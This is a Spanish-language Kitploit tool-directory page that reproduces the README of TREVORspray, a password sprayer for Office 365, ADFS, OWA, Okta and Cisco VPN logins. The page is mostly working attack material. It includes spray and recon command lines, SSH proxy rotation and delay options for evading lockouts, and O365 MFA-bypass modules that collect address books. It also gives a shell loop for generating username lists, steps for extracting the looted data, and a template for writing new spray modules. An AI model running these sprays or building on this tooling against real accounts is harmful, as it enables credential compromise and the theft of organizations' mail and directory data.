Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
TREVORspray — Sprayer de contraseñas modular con rotación de proxy SSH, evasión de MFA y reconocimiento de dominio. Compatible con O365, ADFS, OWA, Okta, Cisco VPN. Automatiza la validación de credenciales y la extracción de botín. | Kitploit
Herramientas/GitHubGitHub/blacklanternsecurity/trevorspray
Evasión de WAF
GitHubblacklanternsecurity/trevorspray

TREVORspray

Sprayer de contraseñas modular con rotación de proxy SSH, evasión de MFA y reconocimiento de dominio. Compatible con O365, ADFS, OWA, Okta, Cisco VPN. Automatiza la validación de credenciales y la extracción de botín.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
1.4k179hace 3 mesesRevisado por Kitploit

TREVORspray 2.0

TREVORspray es un rociador de contraseñas modular con hilos, proxy SSH, módulos de botín y más.

Por @thetechr0mancer

License Python Version

Instalación:

root@kitploit:~
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

Vea el Blog Post adjunto para una divertida perorata y algunas demostraciones geniales.

trevorspray-demo

Características

  • Hilos, muchos hilos
  • Múltiples módulos
    • msol (Office 365)
    • adfs (Active Directory Federation Services)
    • owa (Outlook Web App)
    • okta (Okta SSO)
    • anyconnect (Cisco VPN)
    • módulos personalizados (fáciles de hacer)
  • Indica el estado de cada cuenta: si existe, está bloqueada, tiene MFA habilitado, etc.
  • Cancelación/reanudación automática (recuerda combinaciones usuario/contraseña ya probadas en ~/.trevorspray/tried_logins.txt)
  • Proxy round-robin a través de múltiples IPs con --ssh o --subnet
  • Reconexión/reintento infinito automático si un proxy falla (o si pierde Internet)
  • Suplanta User-Agent y otras firmas para parecer tráfico de autenticación legítimo
  • Registro completo
  • Opcional --delay, --jitter, y --lockout-delay entre solicitudes para evadir contramedidas de bloqueo
  • Soporte IPv6
  • Soporte para evasión de MFA de O365 (deshabilitar con --no-loot)
    • IMAP
    • SMTP
    • POP
    • EWS (Exchange Web Services) - Recupera automáticamente la libreta de direcciones global (GAL)
    • EAS (Exchange ActiveSync)
      • Evasión recomendada: aplicación BlueMail para Android
    • EXO (Exchange Online PowerShell)
    • UM (Exchange Unified Messaging)
    • AutoDiscover - Recupera automáticamente OAB (Libreta de direcciones sin conexión)
    • Acceso al Portal de Azure
  • Dominio --recon con las siguientes características:
    • listar registros MX/TXT
    • listar información de O365
      • ID del inquilino
      • nombre del inquilino
      • otros dominios del inquilino
      • URL de SharePoint
      • URLs de autenticación, autodescubrimiento, configuración de federación, etc.
    • Enumeración de usuarios (use --recon y --users):
      • OneDrive
      • Azure Seamless SSO

Cómo Usar - O365

  • Primero, obtenga una lista de correos electrónicos para corp.com y realice un spray para ver si la configuración predeterminada funciona. Por lo general, funciona.
  • Si TREVORspray dice que los correos en su lista no existen, no se rinda. Obtenga el token_endpoint con --recon corp.com. El token_endpoint es la URL contra la que rociará (con la opción --url).
  • Puede requerir algo de experimentación antes de encontrar la combinación correcta de token_endpoint + formato de correo electrónico.
    • Por ejemplo, si está atacando corp.com, puede que no sea tan fácil como rociar corp.com. Puede descubrir que la empresa matriz de Corp, Evilcorp, posee su inquilino de Azure, lo que significa que debe rociar contra el token_endpoint de evilcorp.com. Además, puede encontrar que el dominio interno de corp.com, corp.local, se usa en lugar de .

Ejemplo: Realizar reconocimiento contra un dominio (recupera información del inquilino, autodescubrimiento, registros mx, etc.)

root@kitploit:~
trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

Ejemplo: Enumerar usuarios a través de OneDrive (sin inicios de sesión fallidos)

root@kitploit:~
trevorspray --recon evilcorp.com -u emails.txt --threads 10

recon-user-enumeration

Ejemplo: Rociar contra la URL "token_endpoint" descubierta

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

Ejemplo: Rociar con un retraso de 5 segundos entre solicitudes

root@kitploit:~
trevorspray -u [email protected] -p 'Welcome123' --delay 5

Ejemplo: Rociar y round-robin entre 3 IPs (la IP actual también se usa, a menos que se especifique -n)

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

Ejemplo: Encontrar nombres de usuario válidos sin OSINT >:D

root@kitploit:~
# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

Extraer datos de archivos LZX descargados

Cuando TREVORspray elude MFA exitosamente y recupera una libreta de direcciones sin conexión (OAB), la libreta se descarga en formato LZX a ~/.trevorspray/loot. LZX es un algoritmo de compresión antiguo y molesto utilizado por Microsoft.

root@kitploit:~
# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - Ayuda:

root@kitploit:~
$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -t, --threads THREADS
                        Max number of concurrent requests (default: 1)
  -f, --force           Try all usernames/passwords even if they've been tried before
  -d, --delay DELAY     Sleep for this many seconds between requests
  -ld, --lockout-delay LOCKOUT_DELAY
                        Sleep for this many additional seconds when a lockout is encountered
  -j, --jitter JITTER   Add a random delay of up to this many seconds between requests
  -e, --exit-on-success
                        Stop spray when a valid cred is found
  -nl, --no-loot        Don't execute loot activites for valid accounts
  --ignore-lockouts     Forces the spray to continue and not stop when multiple account lockouts are detected
  --timeout TIMEOUT     Connection timeout in seconds (default: 10)
  --random-useragent    Add a random value to the User-Agent for each request
  -6, --prefer-ipv6     Prefer IPv6 over IPv4
  --proxy PROXY         Proxy to use for HTTP and HTTPS requests
  -v, --verbose, --debug
                        Show which proxy is being used for each request

SSH Proxy:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -s, --ssh USER@SERVER [USER@SERVER ...]
                        Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
  -i, -k, --key KEY     Use this SSH key when connecting to proxy hosts
  -b, --base-port BASE_PORT
                        Base listening port to use for SOCKS proxies
  -n, --no-current-ip   Don't spray from the current IP, only use SSH proxies

Subnet Proxy:
  Send traffic from random addresses within IP subnet

  --subnet SUBNET       Subnet to send packets from
  --interface INTERFACE
                        Interface to send packets on

Escribiendo sus propios Módulos de Spray

Si necesita rociar un servicio/endpoint que aún no es compatible, ¡puede escribir su propio módulo de spray! Esta es una gran opción porque los módulos personalizados se benefician de todas las características de TREVORspray — p. ej. proxies, retraso, jitter, etc.

Escribir su propio módulo de spray es bastante sencillo. Cree un nuevo archivo .py en lib/sprayers (por ejemplo, lib/sprayers/custom_sprayer.py), y cree una clase que herede de BaseSprayModule. Puede llamar a la clase como desee. Complete el método HTTP y cualquier otro parámetro que necesite en las solicitudes (puede consultar lib/sprayers/base.py o cualquiera de los otros módulos para ver ejemplos).

  • Solo necesita implementar un método en su clase personalizada: check_response(). Este método evalúa la respuesta HTTP para determinar si el inicio de sesión fue exitoso.
  • Una vez terminado, puede usar el módulo de spray personalizado especificando el nombre de su archivo Python (sin el .py) en la línea de comandos, p. ej. trevorspray -m custom_sprayer -u users.txt -p Welcome123.
root@kitploit:~
# Example spray module

from .base import BaseSprayModule

class SprayModule(BaseSprayModule):

    # HTTP method
    method = 'POST'
    # default target URL
    default_url = 'https://login.evilcorp.com/'
    # body of request
    request_data = 'user={username}&pass={password}&group={otherthing}'
    # HTTP headers
    headers = {}
    # HTTP cookies
    cookies = {}
    # Don't count nonexistent accounts as failed logons
    fail_nonexistent = False

    headers = {
        'User-Agent': 'Your Moms Smart Vibrator',
    }

    def initialize(self):
        '''
        Get additional arguments from user at runtime
        NOTE: These can also be passed via environment variables beginning with "TREVOR_":
            TREVOR_otherthing=asdf
        '''
        while not self.trevor.runtimeparams.get('otherthing', ''):
            self.trevor.runtimeparams.update({
                'otherthing': input("What's that other thing? ")
            })

        return True


    def check_response(self, response):
        '''
        returns (valid, exists, locked, msg)
        '''

        valid = False
        exists = None
        locked = None
        msg = ''

        if getattr(response, 'status_code', 0) == 200:
            valid = True
            exists = True
            msg = 'Valid cred'

        return (valid, exists, locked, msg)

CRÉDITO A QUIEN CORRESPONDE - MUCHAS GRACIAS A:

  • @dafthack por escribir MSOLSpray
  • @Mrtn9 por su puerto en Python de MSOLSpray
  • @KnappySqwurl por ser un mago de Splunk
  • @CarsonSallis por las evasiones de MFA de O365
  • @DrAzureAD por las funcionalidades de reconocimiento de Azure AD (AADInternals)
  • @nyxgeek por la enumeración de usuarios de OneDrive (onedrive_user_enum)
  • @gremwell por la enumeración de usuarios de Seamless SSO (o365enum)

trevor

#trevorforget

Descargar herramienta
corp.com
  • Así que al final, en lugar de rociar [email protected] contra el token_endpoint de corp.com, está rociando [email protected] contra el de evilcorp.com.